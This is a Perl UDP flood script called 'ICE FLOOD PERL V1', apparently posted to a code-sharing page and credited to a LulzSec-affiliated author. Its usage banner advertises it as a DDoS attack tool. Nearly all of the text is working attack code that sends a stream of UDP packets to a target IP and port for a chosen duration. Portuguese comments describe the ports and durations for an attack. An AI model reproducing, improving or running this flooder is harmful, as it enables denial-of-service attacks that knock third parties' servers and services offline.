#!/usr/bin/perl
#####################################################
# ICE FLOOD PERL V1 #
# Coded By Alice #
# Facebook: fb.com/LulzSecGlobal #
# Skype : princesa.alice #
# Channel : youtube.com/c/exodoteam #
#####################################################
use Socket;
use strict;
use Getopt::Long;
use Time::HiRes qw( usleep gettimeofday ) ;
our $port = 0;
our $size = 0;
our $time = 0;
our $bw = 0;
our $help = 0;
our $delay= 0;
GetOptions(
"port=i" => \$port, # Porta Para Internet : 80 Porta Skype: 443 Mu Online: 44405
"size=i" => \$size, # Pacotes 0~65500
"bandwidth=i" => \$bw, # Invalida.
"time=i" => \$time, # Tempo De Duraçao Do Ataque
"delay=f"=> \$delay, # Opcao Desativada
"help|?" => \$help); # Desativada
my ($ip) = @ARGV;
if ($help || !$ip) {
print <<'EOL';
$$$$$$\ $$$$$$\ $$$$$$$$\ $$\ $$\ $$$$$$$\ $$$$$$$\
\_$$ _|$$ __$$\ $$ _____| $$ | $$ |$$ __$$\ $$ __$$\
$$ | $$ / \__|$$ | $$ | $$ |$$ | $$ |$$ | $$ |
$$ | $$ | $$$$$\ $$ | $$ |$$ | $$ |$$$$$$$ |
$$ | $$ | $$ __| $$ | $$ |$$ | $$ |$$ ____/
$$ | $$ | $$\ $$ | $$ | $$ |$$ | $$ |$$ |
$$$$$$\ \$$$$$$ |$$$$$$$$\ \$$$$$$ |$$$$$$$ |$$ |
\______| \______/ \________| \______/ \_______/ \__|
DDOS ATTACK : perl ice.pl <ip> <port> <packet-size> <time>
Coded By Alice ! Greetz: LulzSec Global
EOL
exit(1);
}
if ($bw && $delay) {
print "Aviso: Pacotes Foram Ignorados. --size parameter ignored\n";
$size = int($bw * $delay / 8);
} elsif ($bw) {
$delay = (8 * $size) / $bw;
}
$size = 256 if $bw && !$size;
($bw = int($size / $delay * 8)) if ($delay && $size);
my ($iaddr,$endtime,$psize,$pport);
$iaddr = inet_aton("$ip") or die "Nao Conseguimos Conectar Ao IP: $ip\n";
$endtime = time() + ($time ? $time : 1000000);
socket(flood, PF_INET, SOCK_DGRAM, 17);
print "Atacando o IP: $ip " . ($port ? $port : "") . " " .
($size ? "$size-byte" : "") . " " . ($time ? " for $time seconds" : "") . "\n";
print "Interpacket delay $delay msec\n" if $delay;
print "total IP bandwidth $bw kbps\n" if $bw;
print "Pare o Ataque Apertando Linux: Ctrl + Z Windows: Ctrl + C\n" unless $time;
die "Pacotes Muito Altos Abaixe Porfavor o maximo e 65500: $size\n" if $size && ($size < 64 || $size > 1500);
$size -= 28 if $size;
for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1024-64)+64) ;
$pport = $port ? $port : int(rand(65500))+1;
send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
usleep(1000 * $delay) if $delay;
}
Ice UDP Flood V1
Greetz: LulzSec Global
Channel: www.youtube.com/c/exodoteam
Page: www.facebook.com/LulzSecGlobal
Skype: princesa.alice
Greetz: LulzSec Global
Channel: www.youtube.com/c/exodoteam
Page: www.facebook.com/LulzSecGlobal
Skype: princesa.alice
Be the first to comment
You can use [html][/html], [css][/css], [php][/php] and more to embed the code. Urls are automatically hyperlinked. Line breaks and paragraphs are automatically generated.